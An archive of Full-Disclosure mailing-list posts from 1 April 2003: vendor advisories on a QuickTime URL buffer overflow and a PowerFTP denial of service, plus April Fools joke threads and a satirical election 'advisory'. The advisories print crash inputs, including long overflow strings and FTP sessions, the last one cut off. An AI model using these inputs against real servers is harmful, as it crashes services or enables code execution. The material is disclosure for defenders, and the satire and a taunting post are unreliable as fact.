From johnc at grok.org.uk Tue Apr 1 00:32:17 2003 From: johnc at grok.org.uk (John Cartwright) Date: Tue, 1 Apr 2003 00:32:17 +0100 Subject: [Full-Disclosure] RFC 3514 released Message-ID: <20030331233217.GA21862@grok.org.uk> Hi Steve Bellovin has released an important new RFC: RFC 3514: The Security Flag in the IPv4 Header ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt - John From labs at idefense.com Tue Apr 1 01:03:55 2003 From: labs at idefense.com (iDEFENSE Labs) Date: Mon, 31 Mar 2003 19:03:55 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 03.31.03: Buffer Overflow in Windows QuickTime Player Message-ID: <3E88911B.25344.23C5DB2@localhost> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 iDEFENSE Security Advisory 03.31.03: http://www.idefense.com/advisory/03.31.03.txt Buffer Overflow in Windows QuickTime Player March 31, 2003 I. BACKGROUND QuickTime Player is a popular media player for both the Microsoft Windows and Apple Mac platforms. More information about the application is available at http://www.apple.com/quicktime/ . II. DESCRIPTION An exploitable buffer overflow condition has been discovered in Apple Computer Inc.'s QuickTime Player, allowing for the remote execution of arbitrary code. The vulnerability lies in the processing of long QuickTime URL's (quicktime:// or through the -u switch). When processing a QuickTime URL, the application is launched in the following manner as can be seen from the Windows registry key HKEY_CLASSES_ROOT/quicktime: %PATH TO QUICKTIME%\QuickTimePlayer.exe -u"%1" A URL containing 400 characters will overrun the allocated space on the stack overwriting the saved instruction pointer (EIP). This will thereby allow an attacker to redirect the flow of control. An example URL that will cause QuickTime player to crash is: quicktime://127.0.0.1/AAAA... Where the character 'A' is repeated 400 times. III. ANALYSIS Any remote attacker can compromise a target system if he or she can convince a user to load a specially crafted exploit URL. Upon successful exploitation, arbitrary code can be executed under the privileges of the user who launched QuickTime. IV. DETECTION iDEFENSE has confirmed that QuickTime Player versions 5.x and 6.0 for the Microsoft Windows platform are vulnerable. QuickTime for MacOS is not vulnerable. V. WORKAROUND Removing the QuickTime handler from the web browser or removing the registry key HKEY_CLASSES_ROOT/quicktime can prevent automatic exploitation through HTML pages. VI. VENDOR FIX Apple has released QuickTime 6.1 which addresses this vulnerability. It is available from http://www.apple.com/quicktime/download/ . VII. CVE INFORMATION The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project assigned the identification number CAN-2003-0168 to this issue. VIII. DISCLOSURE TIMELINE 01/16/2003 Issue disclosed to iDEFENSE 02/24/2003 iDEFENSE notification sent to product-security at apple.com 02/24/2003 Response received from Apple Product Security team 02/24/2003 iDEFENSE clients notified 03/31/2003 Coordinated Public disclosure IX. CREDIT Texonet (http://www.texonet.com) is credited with discovering this vulnerability. Get paid for security research http://www.idefense.com/contributor.html Subscribe to iDEFENSE Advisories: send email to listserv at idefense.com, subject line: "subscribe" About iDEFENSE: iDEFENSE is a global security intelligence company that proactively monitors sources throughout the world ? from technical vulnerabilities and hacker profiling to the global spread of viruses and other malicious code. Our security intelligence services provide decision-makers, frontline security professionals and network administrators with timely access to actionable intelligence and decision support on cyber-related threats. For more information, visit http://www.idefense.com . -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBPojWxvrkky7kqW5PEQKpugCfR7CiM+8599fwqY/2T0CyUqAMhGUAn0ZX Zi9OhMExCYJAdDPZdzn1JKgc =VDX8 -----END PGP SIGNATURE----- From harden at softhome.net Tue Apr 1 01:25:13 2003 From: harden at softhome.net (harden at softhome.net) Date: Mon, 31 Mar 2003 17:25:13 -0700 Subject: [Full-Disclosure] (no subject) Message-ID: Michael Osten writes: >> Thanks for the suggestion, I will be adding OS fingerprinting as it may help h4x0rz determine wether or not 2 ips are the same box, so they don't loose time in their 31337 h4x0r1n quest. >> >> Oh good idea! I will automatize the removal of duplicated box! >> >> (Micheal Osten is evil (Thanks!!)) > > > I'm not evil, just curious. I am evil, there's nothing to be ashamed of. You need to assume it. Here's a proof, I'm actually redirecting this post to the full-disclosure mailling list. Enjoy. >> > victim list. The OpenSSL exploit was a remote non-root, but with the >> > release of the ptrace exploit code it could get ugly for people that are >> > *really* irresponsible about patching. >> >> Yeah and *alot* of "sysadmins" are *really* irresponsible about this *really* old openssl bug. > > > Well, I know from personal experience that I only do the minimum of > whatever it is going to take to not get fired. Your writing is kind of > disjointed, Your name is dirty now. I suggest you take a look at groups.google.com and try to get the previous post removed, after all you don't want an employer to find that do you? BTW, didn't you ever read the bible !? Well Jesus must have said something like "Do the best you can and you will be rewarded.". Now don't wonder why you dislike your job enough to do the strict minimum not to get fired like the idiot you are and why you don't like your salary. In case you do, just stfu. "Do the best you can and you will be rewarded." -Harden with an hardon From krblack at penguinpackets.com Tue Apr 1 01:49:35 2003 From: krblack at penguinpackets.com (Kelly Black) Date: 31 Mar 2003 18:49:35 -0600 Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: <20030331233217.GA21862@grok.org.uk> References: <20030331233217.GA21862@grok.org.uk> Message-ID: <1049158175.2771.1.camel@pokey.penguinpackets.com> On Mon, 2003-03-31 at 17:32, John Cartwright wrote: > Hi > > Steve Bellovin has released an important new RFC: > > RFC 3514: The Security Flag in the IPv4 Header > ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt > > - John Good read. Love the publish date. -- Kelly Black From avalon at caligula.anu.edu.au Tue Apr 1 03:09:55 2003 From: avalon at caligula.anu.edu.au (Darren Reed) Date: Tue, 1 Apr 2003 12:09:55 +1000 (Australia/ACT) Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: <1049158175.2771.1.camel@pokey.penguinpackets.com> from "Kelly Black" at Mar 31, 2003 06:49:35 PM Message-ID: <200304010209.h3129t4N012907@caligula.anu.edu.au> On Mon, 2003-03-31 at 17:32, John Cartwright wrote: > Hi > > Steve Bellovin has released an important new RFC: > > RFC 3514: The Security Flag in the IPv4 Header > ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt > > - John I suppse we'll be expected to implement featurisms to support this now... sigh...where will it end ??? From jeff at xiir.net Tue Apr 1 04:13:39 2003 From: jeff at xiir.net (Jeff) Date: Mon, 31 Mar 2003 19:13:39 -0800 (PST) Subject: [Full-Disclosure] grsecurity: Another one bites the dust... Message-ID: http://www.grsecurity.net Looks like another big company screwed over a team of innocent developers. It's a shame, grsecurity had so much promise. Figures. -jeff From amadei at dandy.net Tue Apr 1 05:09:13 2003 From: amadei at dandy.net (Stephen Amadei) Date: Mon, 31 Mar 2003 23:09:13 -0500 (EST) Subject: [Full-Disclosure] grsecurity: Another one bites the dust... In-Reply-To: References: Message-ID: On Mon, 31 Mar 2003, Jeff wrote: > http://www.grsecurity.net > > Looks like another big company screwed over a team of innocent developers. > It's a shame, grsecurity had so much promise. I don't get it... if PaX is the problem, why not just remove it. ----Steve Stephen Amadei Dandy.NET! CTO Atlantic City, NJ From amadei at dandy.net Tue Apr 1 05:10:34 2003 From: amadei at dandy.net (Stephen Amadei) Date: Mon, 31 Mar 2003 23:10:34 -0500 (EST) Subject: [Full-Disclosure] grsecurity: Another one bites the dust... In-Reply-To: References: Message-ID: On Mon, 31 Mar 2003, Jeff wrote: > http://www.grsecurity.net > > Looks like another big company screwed over a team of innocent developers. > It's a shame, grsecurity had so much promise. Wait a second... double check your date. ----Steve Stephen Amadei Dandy.NET! CTO Atlantic City, NJ From brian at brianhouk.com Tue Apr 1 06:51:49 2003 From: brian at brianhouk.com (Brian Houk) Date: Tue, 1 Apr 2003 00:51:49 -0500 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... In-Reply-To: ; from amadei@dandy.net on Mon, Mar 31, 2003 at 11:10:34PM -0500 References: Message-ID: <20030401005149.A28896@brianhouk.com> Yep, click on the logo. http://www.grsecurity.org/realindex.php On Mon, Mar 31, 2003 at 11:10PM, Stephen Amadei was quoted stating the following: > On Mon, 31 Mar 2003, Jeff wrote: > > > http://www.grsecurity.net > > > > Looks like another big company screwed over a team of innocent developers. > > It's a shame, grsecurity had so much promise. > > Wait a second... double check your date. > > ----Steve > Stephen Amadei > Dandy.NET! CTO > Atlantic City, NJ > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From patrick at pwhsnet.com Tue Apr 1 07:23:00 2003 From: patrick at pwhsnet.com (Patrick Fish) Date: Mon, 31 Mar 2003 22:23:00 -0800 Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: <200304010209.h3129t4N012907@caligula.anu.edu.au> References: <200304010209.h3129t4N012907@caligula.anu.edu.au> Message-ID: <3E893044.2030101@pwhsnet.com> Darren Reed wrote: >On Mon, 2003-03-31 at 17:32, John Cartwright wrote: > > >>Hi >> >>Steve Bellovin has released an important new RFC: >> >>RFC 3514: The Security Flag in the IPv4 Header >>ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt >> >>- John >> >> > >I suppse we'll be expected to implement featurisms to support this now... > >sigh...where will it end ??? > when, perhaps...april 2nd? ;-) > > > From madduck at madduck.net Tue Apr 1 08:55:48 2003 From: madduck at madduck.net (martin f krafft) Date: Tue, 1 Apr 2003 09:55:48 +0200 Subject: [Full-Disclosure] Re: grsecurity: Another one bites the dust... In-Reply-To: References: Message-ID: <20030401075548.GA1914@piper.madduck.net> also sprach Jeff [2003.04.01.0513 +0200]: > Looks like another big company screwed over a team of innocent developers. > It's a shame, grsecurity had so much promise. "Since grsecurity will no longer be an option, if you need a secure system in the future, you should use OpenBSD, as it is the most secure operating system in the world. If you need to stay with Linux, however, we recommend Immunix (a new version will be released shortly: ~3-4yrs)." 'nuff said. As soon as patents can really ban such a project as grsec, I am commiting suicide. -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net at madduck keyserver problems? http://keyserver.kjsl.com/~jharris/keyserver.html get my key here: http://madduck.net/me/gpg/publickey one ships by truck and sends cargo by ship. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030401/33875abc/attachment.bin From DaveHowe at cmn.sharp-uk.co.uk Tue Apr 1 10:13:15 2003 From: DaveHowe at cmn.sharp-uk.co.uk (David Howe) Date: Tue, 1 Apr 2003 10:13:15 +0100 Subject: [Full-Disclosure] RFC 3514 released References: <20030331233217.GA21862@grok.org.uk> Message-ID: <015701c2f82e$f7b1bd80$c71121c2@sharpuk.co.uk> at Tuesday, April 01, 2003 12:32 AM, John Cartwright was seen to say: > Steve Bellovin has released an important new RFC: > RFC 3514: The Security Flag in the IPv4 Header > ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt NMap will be supporting this apparently - via the --evil command line option and/or the environment variable SKRIPT_KIDDIE=1 From ciso at hushmail.com Tue Apr 1 07:00:24 2003 From: ciso at hushmail.com (ciso at hushmail.com) Date: Mon, 31 Mar 2003 22:00:24 -0800 Subject: [Full-Disclosure] Animal Rights Hacktivism - They Got One Message-ID: <200304010600.h3160O25070720@mailserver2.hushmail.com> It would appear that HALL exists. www.nmrc.org has been defaced by HALL Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Big $$$ to be made with the HushMail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427 From niels=netsys at bakker.net Tue Apr 1 13:28:02 2003 From: niels=netsys at bakker.net (Niels Bakker) Date: Tue, 1 Apr 2003 14:28:02 +0200 Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: <200304010209.h3129t4N012907@caligula.anu.edu.au> References: <1049158175.2771.1.camel@pokey.penguinpackets.com> <200304010209.h3129t4N012907@caligula.anu.edu.au> Message-ID: <20030401122802.GC53349@trance.org> * avalon at caligula.anu.edu.au (Darren Reed) [Tue 01 Apr 2003, 04:52 CEST]: > On Mon, 2003-03-31 at 17:32, John Cartwright wrote: >> Steve Bellovin has released an important new RFC: >> RFC 3514: The Security Flag in the IPv4 Header >> ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt > > I suppse we'll be expected to implement featurisms to support this now... > > sigh...where will it end ??? Patches for FreeBSD: ftp://ftp.jurai.net/users/winter/patches/rfc3514-stable.patch ftp://ftp.jurai.net/users/winter/patches/rfc3514.patch ftp://ftp.jurai.net/users/winter/patches/IFF_EVIL.patch Cheers, -- Niels. -- subvertise me From jeff at xiir.net Tue Apr 1 03:33:40 2003 From: jeff at xiir.net (Jeff) Date: Mon, 31 Mar 2003 18:33:40 -0800 (PST) Subject: [Full-Disclosure] grsecurity: Another one bites the dust... Message-ID: http://www.grsecurity.net Looks like another big company screwed over a team of innocent developers. It's a shame, grsecurity had so much promise. Figures. -jeff From throwaway at dione.ids.pl Tue Apr 1 03:39:25 2003 From: throwaway at dione.ids.pl (Security Experts, Liability Limited) Date: Tue, 1 Apr 2003 04:39:25 +0200 (CEST) Subject: [Full-Disclosure] serious vulnerability present. all doomed. over. Message-ID: .--------------------------------------------------. | S.E.L.L. -- ADVISORY NUMBER 4F4E45 -- .L.L.E.S | | ------------------------------------------------ | | April 1, 2003 | | | | We totally deny the allegations, and we're | | trying to identify the allegators. | | | `--------------------------------------------------' S.E.L.L disclosure timeline: ---------------------------- 01/05/99: vulnerability identified and tested by S.E.L.L. 01/06/99: S.E.L.L. customers notified 01/06/99: oh, and I told my wife, she said it's silly 05/15/99: we got our tester out on bail 12/20/02: still don't get any respect from wife 03/30/03: vendors notified 04/01/03: public disclosure Synopsis and impact: -------------------- A distributed denial of service condition is present in the election system in many polypartisan democratic countries. A group of determined but unskilled and not equipped low-income individuals, usually between 0.05% and 2% of overall population of the country, can cause serious disruptions or even a complete downfall of the democratic system and its institutions, and wreak havoc and destruction without using any force. This is considerably less than the majority of voters required in more conventional attacks, at least in this social group. The attack is generally difficult to prevent once occurs, since it is not possible to make immediate changes to election ordinances, especially once the process have started. Changes are often required to be passed at least one year before taking any effect. As such, patching the bug might take a considerable amount of time, perhaps also sufficient for the country to fall into chaos and oblivion, and for things of unspeakable horror to happen to all people like you and me. Our company supports and takes pride in responsible and accurate vulnerability reporting. Not vulnerable: --------------- - United States (but to be evaluated) - Monarchies and dictatorships (until overthrown) - International waters (until claimed) Attack details: --------------- The attack relies on the fact that numerous election ordinances require a certain number of voter signatures to be collected in order for a candidate or a party to enter elections and be placed on a national election list. This approach is generally non-discriminatory, and it is impossible to deny the right to be included on such a list for an otherwise eligible individual who collected a given number of verifiable signatures. Most countries do not implement a regulation that requires all votes on all lists to be unique - so a single person can change his or her mind and support two candidates. This is because of the difficulty of cross-verification - most election procedures must still rely on manual checking - and the possibility of malicious action of a hostile voter, of course. Depending on the election level - local, parliament or presidential - a different number of signatures has to be collected. The number is usually everywhere from 0.05% to 2% of the total population - typical figures are 1000-10000 (common for parliament), or 100000-1000000 (presidential) for a medium to large country of 10-50 million citizens. In our example, we use parliament elections where the minimum is set at 10000. In order for the attack to be successful, the attacker would have to find that many co-conspirators - usually not impossible, since many voters are dissatisfied with the system or life in general, or can be bribed or tricked into signing a list. A careful attacker might choose a larger number of co-conspirators to decrease the chances of the attack being detected in routine signature validation phase. This could lead to all conspirators being charged on the grounds of conspiracy to overthrow the government - although charging all 10001+ conspirators might be an effective DDoS on the judiciary and penitentiary system of a mid-size country, so this measure might have very undesirable results anyway. Every co-conspirator would have to make a small investment, buy a few pens and several sheets of paper, and put their name on only a single page of this stack. He would then have to bring his sheets to the central site. Considering that one sheet of paper can hold approximately 300 names (use three columns of 50 and both sides of a sheet), the number of sheets required to collect all signatures would not exceed 33 per person. This might be slightly unrealistic, but even buying 100-200 pages is a minor expense. We assume that a single person can take up to three hours of his everyday life on a daily basis to sign other people's lists, and that three hours are enough to place approximately 500 signatures. A single person can travel once every five days to the conspiracy HQ. Of all 10001 pages that are signed, each person gets a set of 2500, which is 5 days worth of work, and also gets the stack of blank pages brought along with the signed one. Five days later, all persons stop by the central location, and pass their finished first pages, with signatures, to the next person, who passed his pages to the next person, etc. The last person passes to the first person, and, at this point, all people have 2500 new pages to put their names on. This process continues. When a person gets a page that is full, he or she reaches to his blank page stack and staples it to the document, then puts his or her name on the list on this page. Within approximately one month, all 10001 lists are full and cross-signed by all candidates (except by the candidate himself, this is why we need this one extra co-conspirator). With personal expenses of few bucks per conspirator, and with just weeks of mildly time-consuming work, this method can be hardly called time- or resource-consuming. At this point, all conspirators can apply for being listed as a candidate, and cannot be denied this right. The outcome, should elections proceed - and there might be no grounds for cancellation - will be a logistic disaster. Completely unexpected, gigantic printing and distribution costs for phone book size ballots, utter confusion of many voters, troubles with storing and counting ballots - all pages of this book-ballot would have to be reviewed to make sure the vote is valid and only one candidate is checked... The inability to proceed with elections due to lack of funds or resources for printing and distribution, or the inability to count ballots for weeks and months to come, might cause serious impact on the country and the democratic system (might not apply to Florida). Fix: ---- Vendor parliaments can prevent this attack by establishing a convenient dictatorship or a monarchy, or becoming the 51th state. In the States, candidates outside the bipartisan system are usually listed just as a harmless prank, and would not be missed. Fixes that implement cross-verification of signature uniqueness across lists are susceptible to another DoS condition and are generally not recommended. Note: some countries impose serious penalties for a conspiracy to overthrow the political system. THIS DOES NOT FIX THE VULNERABILITY. Security-by-stringent-consequences model is considered to be broken by design. Besides, there's another DDoS possibility if an attempt to jail all conspirators is being made, per our discussion above. Our recommendation is for all countries to implement the first solution proposed. Note: subsequent implementators of the last option of the "state" option might find the number 51 already taken; please increase the number until a unused number is found. Be sure to avoid integer overflows - do not use 'char' for computations. About S.E.L.L.: --------------- S.E.L.L. is a number one provider of deep-insight security strategies for maximizing ROI with state-of-the-art TCO management customer-facing security philosophy. As a successful company in a competitive market, we strive to provide the complete solution for enhancing your B2B experience. Founded in a garage in Latvia, we soon become the realization of the American Dream, growing to an extended family of 300. Then down to 15. Our customers include many. ---------------------------------------------------------------------- Subscribe now for our future alerts - it's free. Sort of. Don't blink. ---------------------------------------------------------------------- From scheidell at secnap.net Tue Apr 1 04:10:54 2003 From: scheidell at secnap.net (Michael Scheidell) Date: Mon, 31 Mar 2003 22:10:54 -0500 (EST) Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: <20030331233217.GA21862@grok.org.uk> Message-ID: <200304010310.h313AsZU029287@mail.secnap.net> > Hi > > Steve Bellovin has released an important new RFC: > > RFC 3514: The Security Flag in the IPv4 Header > ftp://ftp.rfc-editor.org/in-notes/rfc3514.txt Well, its a little early here in eastern us, but I suppose it IS april 1st somewhere in the world. From jeremy at gaddis.org Tue Apr 1 06:58:06 2003 From: jeremy at gaddis.org (Jeremy Gaddis) Date: Tue, 1 Apr 2003 00:58:06 -0500 Subject: [Full-Disclosure] RFC 3514 released In-Reply-To: <200304010209.h3129t4N012907@caligula.anu.edu.au> Message-ID: <000601c2f813$aae7a4d0$0400a8c0@main.gaddis.org> > -----Original Message----- > From: full-disclosure-admin at lists.netsys.com > [mailto:full-disclosure-admin at lists.netsys.com] On Behalf Of > Darren Reed > Sent: Monday, March 31, 2003 9:10 PM > To: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] RFC 3514 released > > > > RFC 3514: The Security Flag in the IPv4 Header > > I suppse we'll be expected to implement featurisms to support > this now... > > sigh...where will it end ??? BAHAHAHAHAHA Perhaps you'll want to look into implementing the security flag in IPv4 packets sent over avian carriers? (RFC2549) *grins and looks at the clock* j. -- Jeremy L. Gaddis From kelledin at skarpsey.dyndns.org Tue Apr 1 06:47:44 2003 From: kelledin at skarpsey.dyndns.org (Kelledin) Date: Mon, 31 Mar 2003 23:47:44 -0600 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... Message-ID: <200303312347.44401.kelledin@skarpsey.dyndns.org> On Monday 31 March 2003 10:09 pm, Stephen Amadei wrote: > On Mon, 31 Mar 2003, Jeff wrote: > > http://www.grsecurity.net > > > > Looks like another big company screwed over a team of > > innocent developers. It's a shame, grsecurity had so much > > promise. > > I don't get it... if PaX is the problem, why not just remove > it. I can't be sure at just a glance, but it sounds to me like their downfall was something other than the PaX fiasco--they just wanted to clear the air on one last side issue before they winked out. Still a shame they're gone, though. :( -- Kelledin "If a server crashes in a server farm and no one pings it, does it still cost four figures to fix?" From gregory.lebras at security-corporation.com Tue Apr 1 05:23:31 2003 From: gregory.lebras at security-corporation.com (Gregory Le Bras | Security Corporation) Date: Tue, 1 Apr 2003 06:23:31 +0200 Subject: [Full-Disclosure] [SCSA-015] Remote Denial of Service Vulnerability in PowerFTP Message-ID: <006401c2f806$74bb2830$0300a8c0@goliath> ====================================================================== Security Corporation Security Advisory [SCSA-015] Remote Denial of Service Vulnerability in PowerFTP ====================================================================== PROGRAM: PowerFTP HOMEPAGE: http://www.cooolsoft.com VULNERABLE VERSIONS: 2.25 and prior ? RISK: Medium/High IMPACT: Denial Of Service RELEASE DATE: 2003-04-01 ====================================================================== TABLE OF CONTENTS ====================================================================== 1..........................................................DESCRIPTION 2..............................................................DETAILS 3..............................................................EXPLOIT 4............................................................SOLUTIONS 5........................................................VENDOR STATUS 6..............................................................CREDITS 7...........................................................DISCLAIMER 8...........................................................REFERENCES 9.............................................................FEEDBACK 1. DESCRIPTION ====================================================================== PowerFTP is a "powerful FTP client/server software. The best feature of PowerFTP is the function of multiple thread downloading and uploading. It can even split one big file into several parts, and download each part at one time! With PowerFTP, you will get the FASTEST transferring speed! Another good feature of this product is Personal FTP server. It can make your computer as a standard FTP server. You can add or remove account, edit share directory accessing permission." (direct quote from http://www.cooolsoft.com) 2. DETAILS ====================================================================== ? Remote DoS : A security vulnerability in Personal FTP server (FTP's server of PowerFTP) allows remote attackers to cause the server to crash by executing a specific command (ls and cd command) with a buffer of 1994 or 1995 bytes in length or more. The command can be issued to the FTP server either by a valid authenticated user or by the anonymous account (if this is enabled). 3. EXPLOIT ====================================================================== The following is an example of what should be done to accomplish the Denial of Service attack: - With the ls command : C:\>ftp target Connected to target. 220 Personal FTP Server ready User (target:(none)): anonymous 331 Password required for anonymous. Password: 230 User anonymous logged in. ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA - With the cd command : C:\>ftp target Connected to target. 220 Personal FTP Server ready User (target:(none)): anonymous 331 Password required for anonymous. Password: 230 User anonymous logged in. ftp> cd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 